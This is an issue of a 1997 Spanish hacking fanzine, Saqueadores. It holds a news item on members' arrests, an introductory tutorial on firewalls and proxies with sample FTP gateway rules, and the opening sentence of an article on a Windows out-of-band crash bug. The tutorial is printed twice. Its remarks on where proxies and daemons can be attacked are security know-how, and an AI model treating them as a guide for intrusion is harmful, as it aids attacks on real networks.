```
É͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸»
º                SAQUEADORES EDICION TECNICA N§9  15-6-97                   º
º                              Segunda Epoca                                 º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¶
º                    Fanzine del underground informatico                     º
È͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸¼

É͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸ËÍ͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸»
º  Disponible en  º  http://www.geocities.com/SiliconValley/8726            º
º                 º  http://www.geocities.com/SiliconValley/Park/7479/      º
º                 º  Y en las mejores BBS                                    º
º                 º  Editor provisional: Paseante <paseante@geocities.com>  º
È͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸ÊÍ͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸¼
É͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸»
º Todos los contenidos de esta revista son solamente educativos, ninguno    º
º pretende incitar al crimen o a la ilegalidad. Cualquier uso erroneo de    º
º esta informacion no es responsabilidad nuestra. Asi mismo, no nos hacemos º
º responsables de las informaciones u opiniones de nuestros colaboradores   º
º o informadores.                                                           º
È͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸¼


Welcome to the system...


É͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸»
01. CONTENIDOS                                                              º
È͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸͸¼


N§__Titulo/Autor_____________________________________Tema_____Nivel tecnico_

01. Contenidos                                      Saqueadores n§ 9
02. Noticias -importante-                           Saqueadores n§ 9
03. Firewalls y Proxys I / por Paseante             Netsecurity    Medio-alto
04. OOB Attack! / por Paseante                      Crashin'       Medio
05. Correo Anonimo / por Paseante                   Anonimato      Medio-bajo
06. A solas con SATAN / por Paseante                Hackin         Medio-alto
07. _Los_ bugs del mes / por Paseante               Hackin         Diverso
08. Colaboraciones y Peticiones                     Saqueadores n§ 9
09. Glosario del cursillo de firewalls              Vocabulario
10. Despedida                                       Saqueadores n§ 9



*EOF*
```

ÉÍÍÍ»
º 02. NOTICIAS- IMPORTANTE º
ÈÍÍÍ¼

Muchos de vosotros ya sabreis la "razzia" efectuada por la G.Civil que ha acabado con el desmantelamiento de Isla Tortuga/Vesatec y con las detenciones de varios miembros del grupo Saqueadores entre ellos su editor el Duke.
No obstante este brutal ataque contra quienes como nosotros difundimos informaci¢n y no drogas ni armas ni pornografia infantil la revista NO VA a dejar de publicarse, este numero es algo especial pues esta hecho por una sola persona, Paseante, ya que los que no han sido detenidos estan en estos momentos con las lineas de comunicacion cortadas, espero que para siguientes numeros podamos contar con ellos y tambien con VOSOTROS.

Ahora mismo necesitamos mas que nunca vuestra ayuda y colaboracion en forma de articulos, apoyo y difusion de la revista y del hecho de que pese a todo PERMANECE.

Desde aqui pedimos libertad ya para el Duke, los miembros de Saqueadores y de Iberhack detenidos en una "redada" absurda. Nosotros a titulo particular venimos expresando nuestra solidaridad con los familiares de los secuestrados por ETA desde hace tiempo. Hoy mas que nunca TODOS LIBRES.

Tengo que confesar que cuando en uno de sus mensajes el Duke me comento que sentia que "algo iba mal" no me lo tome a cachondeo pero no le supe dar la importancia debida, en los ultimos tiempos habia extremado las precauciones no contestando mas correo que el imprescindible para evitar causar problemas a gente que no tenia nada que ver con el grupo. Fue una actitud muy inteligente de su parte aunque a algunos os pueda haber dado la impresion de que el grupo "no sabe, no contesta" por nuestro mutismo durante esa epoca lo cierto es que se trataba de reducir riesgos al minimo por el mal ambiente que comenzaba a respirarse.

Nada mas, he montado un site apresurado en Geocities (http://www.geocities.com/SiliconValley/8726) que sera la homepage de la revista hasta que pase la tormenta o definitivamente ya se vera.
Alli podreis encontrar todos los numeros pasados y los que vayan saliendo asi como noticias puntuales (pero no os penseis que se hacen actualizaciones a diario)

ÉÍÍÍ»
º 02. FIREWALLS Y PROXYS º
ÈÍÍÍ¼

Introduccion

Esta es la primera parte de un 'cursillo' sobre proxys y firewalls que esta previsto tenga 3 capitulos, veremos este mes una introduccion, en la siguiente revista daremos una ojeada a las tecnicas de proteccion mas comunes y en la ultima entrega.....las tecnicas de ataque mas comunes.
Es un poco arido para novatos _advierto_, por lo que voy a incluir un breve glosario de terminos para aquellos que pese a todo quieran leerlo y se "pierdan".

Las redes de ordenadores tienen por naturaleza el cometido de permitir el libre flujo de informacion, hacer posible que un usuario de Madrid tenga un proceso en marcha en una computadora de Paris y al tiempo consulte la base de datos de la central en Londres todo como si los tres ordenadores estuvieran en la misma habitacion, detener o impedir este flujo de informacion es perjudicial tanto para las compa¤ias como para los gobiernos pero proteger sus datos de intrusiones no autorizadas es vital, se crea asi el dilema de como establecer un sistema de seguridad que tenga el minimo impacto posible en la "utilidad" de la red.

El proposito de los firewalls de Internet es pues proporcionar un punto de defensa que controle y vigile los accesos a los servicios que proporciona una red privada tanto desde dentro como desde fuera de esa red. Esto requiere un mecanismo que de manera selectiva autorice o bloquee el trafico entre Internet y la red protegida, basicamente hay dos sistemas: Routers y Screening.

Los routers pueden controlar el trafico basandose en la direccion IP o el puerto utilizado de manera que ciertas direcciones IP tengan acceso y a otras les sea negado.
Los host que efect£an screening pueden controlar el trafico a nivel de aplicacion, ’sacando’ al usuario del nivel de protocolo y examinando mas detenidamente el acceso,.

Para implementar un firewall que se base en ’routing and screening’ se necesita al menos autorizar el acceso directo a la red protegida desde un nø x de direcciones IP, a nivel de screening esto no seria necesario pero son menos flexibles y requieren el desarrollo de unos ’forwarders’ conocidos como proxys, el escoger un sistema u otro es optar por una mayor grado de servicio al usuario o un mayor grado de aislamiento de la red.

Para un protocolo de red un proxy es una aplicacion que se ejecuta en un host firewall y ejecuta servicios requeridos a traves del firewall actuando como un ’gateway’.
Los proxies dan la ilusion de una conexion directa punto a punto que en realidad no existe y dependiendo de su capacidad pueden interpretar el protocolo que manejan y dar mayor grado de control y vigilancia al administrador.

Por ejemplo:
Un proxy de FTP puede bloquear la exportacion de ficheros de un sistema y permitir por contra que se ’suban’ (upload) ficheros mientras que los firewalls basados en routing no pueden hacer esto.

Existen proxies para servicios como FTP, Telnet, etc... Posiblemente el mayor beneficio a la seguridad que da el utilizar un proxy es que da la oportunidad de autentificar al usuario.

Por ejemplo: Cuando te conectas desde Internet a una red protegida, lo mas tipico es conectarse primero al proxy, autentificarse ante el y tras ello se completa la conexion con el host que ya pertenece a la red protegida, asi el proxy protege al mismo firewall, el usuario ya no accede ni siquiera al firewall para identificarse y ello protege a la red ya que solo los autenticos usuarios obtienen acceso al interior de la red.
Por lo tanto aunque dentro de la red existan "agujeros de seguridad" el restringir el acceso a usuarios autorizados es una primera medida de precaucion.

Otros servicios como SMTP y USENET usan unos ’daemons’ que en ocasiones poseen privilegios de sistema, si estos daemons contienen bugs, un atacante pueden explotarlos en su beneficio.
Para evitar este peligro los proxys se dise¤an para ejecutarse sin

privilegios de sistema especiales, idealmente un usuario exterior ni siquiera tendria la oportunidad de interactuar con un proceso privilegiado, en la practica el daemon master de Internet (inetd) que es el encargado de iniciar a los otros daemons necesita ejecutarse con privilegios, siempre existe la posibilidad de que el kernel contenga backdoors, servicios escondidos o bugs que permitan a un atacante acceder al sistema. Esta es posiblemente la mejor manera de atacar un proxy.

Filosofia de Dise¤o

O sea, la manera en la que debe dise¤arse un proxy para ser seguro. (Recomendaciones oficiales aqui resumidas pertenecientes a un trabajo realizado para la agencia ARP del Departamento de Defensa de los Estados Unidos)

- Cualquier bug que pueda haber en la implementacion de un servicio de red no debe ser capaz de comprometer el sistema. Los servicios mal configurados no se ejecutaran antes que ofrecer potenciales brechas de seguridad.

*_Importante_*
- Los accesos desde el exterior de la red protegida no podran conectar directamente con el interior ni con servicios que posean privilegios.

- Los servicios de red son implementados con un minimo de caracteristicas y complejidad, el codigo fuente debe ser lo suficientemente peque¤o y simple como para ser revisado con celeridad.

- Deben existir metodos razonables y practicos de ’testear’ si el sistema esta correctamente instalado.

Aclaraciones de Paseante

En un host-based firewall cuando se se hackea el host la red entera esta abierta al ataque, no obstante esta solucion es facil de instalar, mantener, configurar y monitorizar (seg£n ellos)

Y ahora un ejemplito de las reglas de configuracion de un proxy que se que lo estabais deseando, (tened siempre en cuenta que se busca el equilibrio entre seguridad y posibilidad de uso)

```
  # Ejemplo ftp gateway rules:

  # --------------------------

  ftp-gw: authserver 127.0.0.1 7777   // Se establece el servidor que
                                         se usa como "autentificador"

  ftp-gw: denial-msg /usr/local/etc/ftp-deny.txt    // Mensaje de error al
                                                       canto

  ftp-gw: welcome-msg /usr/local/etc/ftp-welcome.txt  // Bienvenido user
                                                         legitimo

  ftp-gw: help-msg /usr/local/etc/ftp-help.txt

  ftp-gw: timeout 3600

  ftp-gw: permit-hosts 192.33.112.100  // Comienza el baile de permisos
                                          y restricciones
```

```
  ftp-gw: deny-hosts 128.52.46.*

  ftp-gw: permit-hosts 192.33.112.* -log { retr stor } -auth { stor }

  ftp-gw: permit-hosts * -authall
```

A continuacion veremos como una red protegida utiliza proxys para prestar una serie de servicios con el minimo riesgo de verse comprometida.

Logging
E-mail
DNS
FTP
Telnet
Control de acceso TCP

Vamos pues a examinar las caracteristicas que debe tener un proxy que sirva como gateway en esas areas para proporcionar servicios sin comprometer a la red.

Logging

Todo aquello de importancia y los registros de acceso son guardados en un host protegido de la red interna via syslog, el administrador puede ejecutar programas que "escaneen" el registro en busca de sucesos definidos y en caso de encontrarlos hacer saltar una alarma.
Los tiempos de enviar claves "en claro" a traves de Inet quedan atras por temor a los sniffers, se recomienda las claves de un "solo uso" (CRYPTOCard..etc) basicamente el firewall nos hace una pregunta y un programita de nuestro ordenador la contesta, la pregunta es cada vez diferente y la respuesta se basa en una relacion matematica asi que aunque alguien se entere da igual porque la proxima vez pregunta y respuesta seran distintas.

E-Mail

Uno de los puntos de ataque favoritos (recordad el "gusano" de Morris), se han identificado muchos bugs del sendmail que han sido yendo corregidos en las nuevas versiones
El problema de los mailers es complicado puesto que son complejos y necesitan privilegios para ejecutar acciones en beneficio del usuario (manipular mailboxes, ficheros..) Para proveer un sistema de correo seguro el acceso desde la red a sendmail de manera directa se evita y en su lugar se presenta una miniversion del SMTP un proxy llamado smap lo suficientemente peque¤o para que su codigo no tenga ninguna "sorpresa" y lo £nico que hace es aceptar los mensajes y escribirlos en disco en un area especifica, tras ello otro proceso recoge el correo y lo entrega al autentico sendmail para que lo deposite en los buzones correspondientes (lo que sendmail puede hacer sin que se le otorguen privilegios)

Aclaraciones de Paseante

A£n hoy muchos firewalls de Internet ejecutan directamente sendmail porque confian en la "fiabilidad" de su version lo que no es la mejor opcion desde el punto de vista de la seguridad.

Evidentemente puestos a buscar bugs es mucho mas facil detectarlos en las 700 lineas de codigo de smap que en las 20.000 de sendmail, smap ofrece ademas la proteccion adicional de solo ejecutar comandos como HELO, FROM, RCPT, DATA, y QUIT dando error en otros como VRFY y EXPN para evitar intrusiones.

Smap no es la panacea, a medida que se desarrollan nuevos ataques los administradores tienen que procurarse nuevos medios de defensa pero cada vez lo ponen mas dificil y se hace mas complicado entrar 'a pelo' desde fuera.

Domain Name Service (DNS)

El software de DNS disponible para UNIX no puede ser utilizado para obtener acceso al sistema aunque algunos ataques se han basado en el spoofing de DNS para enga¤ar al firewall, para eliminar esta amenaza el DNS ya no se considera como algo valido para acceder a informacion protegida y solo el servicio de correo "confia" en el. En los registros junto al DNS se guarda la direccion IP, cualquier direccion IP que no coincida con el DNS es automaticamente marcada como un intento de spoofing.

Aclaraciones de Paseante

Evidentemente esto no significa que todos los sistemas se hayan adaptado ya a esto, os recuerdo que es solo la recomendacion oficial de lo que deberian hacer.

FTP

La aplicacion de FTP es un proceso que media entre las dos conexiones FTP, no utiliza acceso a disco excepto para leer su configuracion y es un programa lo suficientemente peque¤o y sencillo como para no ser una amenaza a la seguridad (y mas teniendo en cuenta que se ejecuta sin privilegios). Para controlar el acceso a FTP la aplicacion lee en su fichero de configuracion los comandos que al ejecutarse activan el log y los sistemas a los que se permite el acceso a FTP, si el administrador lo desea todo el trafico se puede registrar y presentarse resumido.

TELNET

La aplicacion TELNET es tambien (y siguiendo la filosofia de dise¤o) peque¤a y simple y su mision es intermediar entre el trafico TELNET, al igual que el gateway de FTP el £nico fichero que lee es el de su configuracion y tras ello es "chrooted" a un directorio restringido y como un proceso no privilegiado (esto es caracteristico de todas las aplicaciones proxy actuando como gateways.)
El fichero de configuracion de TELNET determina que sistemas o redes exteriores pueden conectarse a nuestra red y a que sistemas o redes exteriores puede permitirse que se conecte quien esta dentro de nuestra red.
Opcionalmente se puede requerir identificacion.
Todas las conexiones y su duracion son registradas.

Servicios basados en UDP

Como hemos visto una caracteristica de los proxys es que NO SE PERMITE EL TRAFICO DIRECTO entre un sistema exterior y uno interior, pero el UDP es una conexion que no funciona a traves de proxys al ser punto a punto. Por lo tanto NO SE PERMITEN servicios UDP, algunos de estos servicios como NTP y DNS pueden no obstante prestarse a traves de un firewall si se configura el servidor como un "forwarder" de las peticiones originadas dentro de la red protegida.

Uso y Acceso TCP

En el UNIX basado en BSD muchos procesos de red se inician con una conexion al daemon master inetd que es quien desvia la peticion al programa que debe resolverla.

Por ejemplo:
Recibimos una peticion de TELNET, el inetd "oye" esta peticion y busca en su fichero de configuracion la entrada [TELNET] de acuerdo con ello ejecuta el programa especificado en esa entrada y se le "pasa" la peticion original.

Inetd, el daemon de servicios de Internet no ejecuta otro funcion salvo la de llamar a procesos especificos para que manejen las peticiones que se les hacen.

TCP Plug-Boards

Algunos servicios como Usenet news se ofrecen com£nmente a traves de un firewall. En ese caso el administrador tiene la posibilidad de elegir si desea proporcionar el servicio en el mismo firewall o instalar un servidor proxy. Ejecutar las news en el firewall puede exponer la maquina a posible bugs en el soft de news por lo que es mas seguro utilizar un proxy como gateway a un sistema seguro para ello existen los "plugs-boards" que si bien en muchos casos han sido dise¤ados para el servicio Usenet news pueden emplearse como proxys de proposito general si se desea ya que actuan como "una tuberia de datos" sin utilizar el disco local o llamar a otros procesos o subshells y por supuesto como todos los proxys pueden hacer un log de todas las conexiones.

Aclaraciones de Paseante

Como nada es perfecto los plugs-boards no usan autentificacion del usuario (salvo la direccion del host y del cliente) y no examinan el trafico que pasa a traves de ellos.
Si un servidor (por ejemplo el servidor de NNTP) tiene una brecha de seguridad podria ser explotada, el firewall haria a un atacante mucho mas dificil obtener acceso a la red para seguir explotando ese fallo pero si el servidor NNTP hubiese estado ejecutandose en el mismo firewall entonces todo el firewall se habria vuelto vulnerable.

En la practica que los servidores no tengan privilegios de sistema especiales incrementa de manera notable la seguridad del firewall, mas a£n la metodologia de desconectar todos los servicios al minimo y despues monitorizarlos uno a uno, caso a caso hace mayor la confianza de estar construyendo un sistema dificil de ’romper’. La decision de confiar mas en un sistema basado en "routers" o en "screenings" sigue siendo dificil y depende de muchos factores. Los firewall son necesarios porque muchos servicios fueron desarrollados con un nivel de seguridad muy bajo o sin ninguno en absoluto, los administradores de redes han aprendido rapidamente la necesidad de contar con severas medidas de identificacion y con protocolos bien dise¤ados.
Como siempre la ventaja tecnologica esta de parte del administrador, de su pereza e incompetencia depende que alguien vulnere la seguridad de su red.

EOF

```
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º 03. FIREWALLS Y PROXYS                                                      º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¼
```

Introduccion

Esta es la primera parte de un 'cursillo' sobre proxys y firewalls que esta previsto tenga 3 capitulos, veremos este mes una introduccion, en la siguiente revista daremos una ojeada a las tecnicas de proteccion mas comunes y en la ultima entrega.....las tecnicas de ataque mas comunes.
Es un poco arido para novatos _advierto_, por lo que voy a incluir un breve glosario de terminos para aquellos que pese a todo quieran leerlo y se "pierdan".

Las redes de ordenadores tienen por naturaleza el cometido de permitir el libre flujo de informacion, hacer posible que un usuario de Madrid tenga un proceso en marcha en una computadora de Paris y al tiempo consulte la base de datos de la central en Londres todo como si los tres ordenadores estuvieran en la misma habitacion, detener o impedir este flujo de informacion es perjudicial tanto para las compa¤ias como para los gobiernos pero proteger sus datos de intrusiones no autorizadas es vital, se crea asi el dilema de como establecer un sistema de seguridad que tenga el minimo impacto posible en la "utilidad" de la red.

El proposito de los firewalls de Internet es pues proporcionar un punto de defensa que controle y vigile los accesos a los servicios que proporciona una red privada tanto desde dentro como desde fuera de esa red. Esto requiere un mecanismo que de manera selectiva autorice o bloquee el trafico entre Internet y la red protegida, basicamente hay dos sistemas: Routers y Screening.

Los routers pueden controlar el trafico basandose en la direccion IP o el puerto utilizado de manera que ciertas direcciones IP tengan acceso y a otras les sea negado.
Los host que efect£an screening pueden controlar el trafico a nivel de aplicacion, 'sacando' al usuario del nivel de protocolo y examinando mas detenidamente el acceso,.

Para implementar un firewall que se base en 'routing and screening' se necesita al menos autorizar el acceso directo a la red protegida desde un nø x de direcciones IP, a nivel de screening esto no seria necesario pero son menos flexibles y requieren el desarrollo de unos 'forwarders' conocidos como proxys, el escoger un sistema u otro es optar por una mayor grado de servicio al usuario o un mayor grado de aislamiento de la red.

Para un protocolo de red un proxy es una aplicacion que se ejecuta en un host firewall y ejecuta servicios requeridos a traves del firewall actuando como un 'gateway'.
Los proxies dan la ilusion de una conexion directa punto a punto que en realidad no existe y dependiendo de su capacidad pueden interpretar el protocolo que manejan y dar mayor grado de control y vigilancia al administrador.

Por ejemplo:
Un proxy de FTP puede bloquear la exportacion de ficheros de un sistema y permitir por contra que se 'suban' (upload) ficheros mientras que los firewalls basados en routing no pueden hacer esto.

Existen proxies para servicios como FTP, Telnet, etc... Posiblemente el mayor

beneficio a la seguridad que da el utilizar un proxy es que da la oportunidad de autentificar al usuario.

Por ejemplo: Cuando te conectas desde Internet a una red protegida, lo mas tipico es conectarse primero al proxy, autentificarse ante el y tras ello se completa la conexion con el host que ya pertenece a la red protegida, asi el proxy protege al mismo firewall, el usuario ya no accede ni siquiera al firewall para identificarse y ello protege a la red ya que solo los autenticos usuarios obtienen acceso al interior de la red.
Por lo tanto aunque dentro de la red existan "agujeros de seguridad" el restringir el acceso a usuarios autorizados es una primera medida de precaucion.

Otros servicios como SMTP y USENET usan unos ’daemons’ que en ocasiones poseen privilegios de sistema, si estos daemons contienen bugs, un atacante pueden explotarlos en su beneficio.
Para evitar este peligro los proxys se dise¤an para ejecutarse sin privilegios de sistema especiales, idealmente un usuario exterior ni siquiera tendria la oportunidad de interactuar con un proceso privilegiado, en la practica el daemon master de Internet (inetd) que es el encargado de iniciar a los otros daemons necesita ejecutarse con privilegios, siempre existe la posibilidad de que el kernel contenga backdoors, servicios escondidos o bugs que permitan a un atacante acceder al sistema. Esta es posiblemente la mejor manera de atacar un proxy.

Filosofia de Dise¤o

O sea, la manera en la que debe dise¤arse un proxy para ser seguro.
(Recomendaciones oficiales aqui resumidas pertenecientes a un trabajo realizado para la agencia ARP del Departamento de Defensa de los Estados Unidos)

- Cualquier bug que pueda haber en la implementacion de un servicio de red no debe ser capaz de comprometer el sistema. Los servicios mal configurados no se ejecutaran antes que ofrecer potenciales brechas de seguridad.

*_Importante_*
- Los accesos desde el exterior de la red protegida no podran conectar directamente con el interior ni con servicios que posean privilegios.

- Los servicios de red son implementados con un minimo de caracteristicas y complejidad, el codigo fuente debe ser lo suficientemente peque¤o y simple como para ser revisado con celeridad.

- Deben existir metodos razonables y practicos de ’testear’ si el sistema esta correctamente instalado.

Aclaraciones de Paseante

En un host-based firewall cuando se se hackea el host la red entera esta abierta al ataque, no obstante esta solucion es facil de instalar, mantener, configurar y monitorizar (seg£n ellos)

Y ahora un ejemplito de las reglas de configuracion de un proxy que se que lo estabais deseando, (tened siempre en cuenta que se busca el equilibrio entre seguridad y posibilidad de uso)

```
  # Ejemplo ftp gateway rules:
```

```
  # --------------------------

  ftp-gw: authserver 127.0.0.1 7777   // Se establece el servidor que
                                         se usa como "autentificador"

  ftp-gw: denial-msg /usr/local/etc/ftp-deny.txt    // Mensaje de error al
                                                       canto

  ftp-gw: welcome-msg /usr/local/etc/ftp-welcome.txt  // Bienvenido user
                                                         legitimo

  ftp-gw: help-msg /usr/local/etc/ftp-help.txt

  ftp-gw: timeout 3600

  ftp-gw: permit-hosts 192.33.112.100  // Comienza el baile de permisos
                                         y restricciones

  ftp-gw: deny-hosts 128.52.46.*

  ftp-gw: permit-hosts 192.33.112.* -log { retr stor } -auth { stor }

  ftp-gw: permit-hosts * -authall
```

A continuacion veremos como una red protegida utiliza proxys para prestar una serie de servicios con el minimo riesgo de verse comprometida.

Logging
E-mail
DNS
FTP
Telnet
Control de acceso TCP

Vamos pues a examinar las caracteristicas que debe tener un proxy que sirva como gateway en esas areas para proporcionar servicios sin comprometer a la red.

Logging

Todo aquello de importancia y los registros de acceso son guardados en un host protegido de la red interna via syslog, el administrador puede ejecutar programas que "escaneen" el registro en busca de sucesos definidos y en caso de encontrarlos hacer saltar una alarma.
Los tiempos de enviar claves "en claro" a traves de Inet quedan atras por temor a los sniffers, se recomienda las claves de un "solo uso" (CRYPTOCard..etc) basicamente el firewall nos hace una pregunta y un programita de nuestro ordenador la contesta, la pregunta es cada vez diferente y la respuesta se basa en una relacion matematica asi que aunque alguien se entere da igual porque la proxima vez pregunta y respuesta seran distintas.

E-Mail

Uno de los puntos de ataque favoritos (recordad el "gusano" de Morris), se han identificado muchos bugs del sendmail que han sido yendo corregidos en las nuevas versiones
El problema de los mailers es complicado puesto que son complejos y necesitan privilegios para ejecutar acciones en beneficio del usuario (manipular mailboxes, ficheros..) Para proveer un sistema de correo seguro el acceso desde la red a sendmail de manera directa se evita y en su lugar se presenta

una miniversion del SMTP un proxy llamado smap lo suficientemente peque¤o para que su codigo no tenga ninguna "sorpresa" y lo £nico que hace es aceptar los mensajes y escribirlos en disco en un area especifica, tras ello otro proceso recoge el correo y lo entrega al autentico sendmail para que lo deposite en los buzones correspondientes (lo que sendmail puede hacer sin que se le otorguen privilegios)

Aclaraciones de Paseante

A£n hoy muchos firewalls de Internet ejecutan directamente sendmail porque confian en la "fiabilidad" de su version lo que no es la mejor opcion desde el punto de vista de la seguridad.

Evidentemente puestos a buscar bugs es mucho mas facil detectarlos en las 700 lineas de codigo de smap que en las 20.000 de sendmail, smap ofrece ademas la proteccion adicional de solo ejecutar comandos como HELO, FROM, RCPT, DATA, y QUIT dando error en otros como VRFY y EXPN para evitar intrusiones.
Smap no es la panacea, a medida que se desarrollan nuevos ataques los administradores tienen que procurarse nuevos medios de defensa pero cada vez lo ponen mas dificil y se hace mas complicado entrar ’a pelo’ desde fuera.

Domain Name Service (DNS)

El software de DNS disponible para UNIX no puede ser utilizado para obtener acceso al sistema aunque algunos ataques se han basado en el spoofing de DNS para enga¤ar al firewall, para eliminar esta amenaza el DNS ya no se considera como algo valido para acceder a informacion protegida y solo el servicio de correo "confia" en el. En los registros junto al DNS se guarda la direccion IP, cualquier direccion IP que no coincida con el DNS es automaticamente marcada como un intento de spoofing.

Aclaraciones de Paseante

Evidentemente esto no significa que todos los sistemas se hayan adaptado ya a esto, os recuerdo que es solo la recomendacion oficial de lo que deberian hacer.

FTP

La aplicacion de FTP es un proceso que media entre las dos conexiones FTP, no utiliza acceso a disco excepto para leer su configuracion y es un programa lo suficientemente peque¤o y sencillo como para no ser una amenaza a la seguridad (y mas teniendo en cuenta que se ejecuta sin privilegios). Para controlar el acceso a FTP la aplicacion lee en su fichero de configuracion los comandos que al ejecutarse activan el log y los sistemas a los que se permite el acceso a FTP, si el administrador lo desea todo el trafico se puede registrar y presentarse resumido.

TELNET

La aplicacion TELNET es tambien (y siguiendo la filosofia de dise¤o) peque¤a y simple y su mision es intermediar entre el trafico TELNET, al igual que el gateway de FTP el £nico fichero que lee es el de su configuracion y tras ello es "chrooted" a un directorio restringido y como un proceso no privilegiado (esto es caracteristico de todas las aplicaciones proxy actuando como gateways.)
El fichero de configuracion de TELNET determina que sistemas o redes

exteriores pueden conectarse a nuestra red y a que sistemas o redes
exteriores puede permitirse que se conecte quien esta dentro de nuestra red.
Opcionalmente se puede requerir identificacion.
Todas las conexiones y su duracion son registradas.

Servicios basados en UDP

Como hemos visto una caracteristica de los proxys es que NO SE PERMITE EL TRAFICO DIRECTO entre un sistema exterior y uno interior, pero el UDP es una conexion que no funciona a traves de proxys al ser punto a punto. Por lo tanto NO SE PERMITEN servicios UDP, algunos de estos servicios como NTP y DNS pueden no obstante prestarse a traves de un firewall si se configura el servidor como un "forwarder" de las peticiones originadas dentro de la red protegida.

Uso y Acceso TCP

En el UNIX basado en BSD muchos procesos de red se inician con una conexion al daemon master inetd que es quien desvia la peticion al programa que debe resolverla.

Por ejemplo:
Recibimos una peticion de TELNET, el inetd "oye" esta peticion y busca en su fichero de configuracion la entrada [TELNET] de acuerdo con ello ejecuta el programa especificado en esa entrada y se le "pasa" la peticion original.

Inetd, el daemon de servicios de Internet no ejecuta otro funcion salvo la de llamar a procesos especificos para que manejen las peticiones que se les hacen.

TCP Plug-Boards

Algunos servicios como Usenet news se ofrecen com£nmente a traves de un firewall. En ese caso el administrador tiene la posibilidad de elegir si desea proporcionar el servicio en el mismo firewall o instalar un servidor proxy. Ejecutar las news en el firewall puede exponer la maquina a posible bugs en el soft de news por lo que es mas seguro utilizar un proxy como gateway a un sistema seguro para ello existen los "plugs-boards" que si bien en muchos casos han sido dise¤ados para el servicio Usenet news pueden emplearse como proxys de proposito general si se desea ya que actuan como "una tuberia de datos" sin utilizar el disco local o llamar a otros procesos o subshells y por supuesto como todos los proxys pueden hacer un log de todas las conexiones.

Aclaraciones de Paseante

Como nada es perfecto los plugs-boards no usan autentificacion del usuario (salvo la direccion del host y del cliente) y no examinan el trafico que pasa a traves de ellos.
Si un servidor (por ejemplo el servidor de NNTP) tiene una brecha de seguridad podria ser explotada, el firewall haria a un atacante mucho mas dificil obtener acceso a la red para seguir explotando ese fallo pero si el servidor NNTP hubiese estado ejecutandose en el mismo firewall entonces todo el firewall se habria vuelto vulnerable.

En la practica que los servidores no tengan privilegios de sistema especiales incrementa de manera notable la seguridad del firewall, mas a£n la metodologia de desconectar todos los servicios al minimo y despues monitorizarlos uno a uno, caso a caso hace mayor la confianza de estar construyendo un sistema dificil de ’romper’. La decision de confiar mas en un sistema basado en "routers" o en "screenings" sigue siendo dificil y depende de muchos factores. Los firewall son necesarios porque muchos servicios fueron desarrollados con un nivel de seguridad muy bajo o sin ninguno en absoluto, los administradores de redes han aprendido rapidamente la necesidad de contar con severas medidas de identificacion y con protocolos bien dise¤ados.
Como siempre la ventaja tecnologica esta de parte del administrador, de su pereza e incompetencia depende que alguien vulnere la seguridad de su red.

EOF

```
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º 04. OOB ATTACK!                                                          º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¼
```

Recientemente, principios de mayo 97, se empezo a comentar en algunos circulos que un fallo en el manejo de datos OOB (Out of Band-Fuera de Banda) por parte de Windows en sus versiones Win 3.11, Win 95 y Win NT podia hacer que un atacante _desconectase y colgase_ el ordenador de una persona que estuviese conectada a Internet usando uno de esos S.O (o seudo operativos).
